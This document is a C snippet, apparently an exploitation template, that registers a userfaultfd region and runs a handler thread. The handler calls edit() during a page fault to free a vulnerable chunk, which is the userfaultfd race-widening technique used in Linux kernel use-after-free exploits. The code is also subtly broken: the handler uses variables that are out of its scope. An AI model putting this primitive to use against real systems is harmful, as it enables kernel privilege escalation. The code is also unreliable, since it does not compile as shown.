add the snippet with macro

[sql7]

u32 uffd;
void uffd_register(u64 fault_page, u64 fault_page_len){

	struct uffdio_api ua;     // io operation api
	struct uffdio_register ur;// io register

    // find /usr/include -name unistd_64.h 2>/dev/null
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	OK("uffd: %d", uffd);

	ua.api = UFFD_API;
	ua.features = 0;
	if(ioctl(uffd, UFFDIO_API, &ua) == -1) 
		PANIC("ioctl");

	ur.range.start = fault_page;
	ur.range.len   = fault_page_len;
	ur.mode 	   = UFFDIO_REGISTER_MODE_MISSING;

	if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
		PANIC("ioctl");

	pthread_t thr;
	// 注意这里没有-1 pthread create正常返回0
	if(pthread_create(&thr, NULL, UFFD_handler ,NULL))
		errExit("pthread_create");
	Done("regitser");
}


void *UFFD_handler(void *nil){
	Dbg("UFFD handler start");
	struct uffd_msg msg;

	while (1)
	{
		struct pollfd pollfd;
		int nready = 0;
		pollfd.fd		= uffd;
		pollfd.events	= POLLIN ;
		nready = poll(&pollfd, 1, -1);// block here
		if(nready != 1)
			errExit("poll");
		
		{// user code modify area
			edit(0, 0x500, zero);// 第一个edit free掉vuln chunk
			edit(0, 0x400, zero);// 第二个edit 确保size不变
		}

		if(read(uffd, &msg, sizeof(msg)) != sizeof(msg))
			errExit("read");
		assert(msg.event == UFFD_EVENT_PAGEFAULT);

		struct uffdio_copy uc;
		uc.src 	= (unsigned long)zero;
		uc.dst 	= (unsigned long)fault_page;
		uc.len 	= fault_page_len;
		uc.mode = 0;
		ioctl(uffd, UFFDIO_COPY, &uc);
		Done("ioctl done");
	}
	return NULL;
}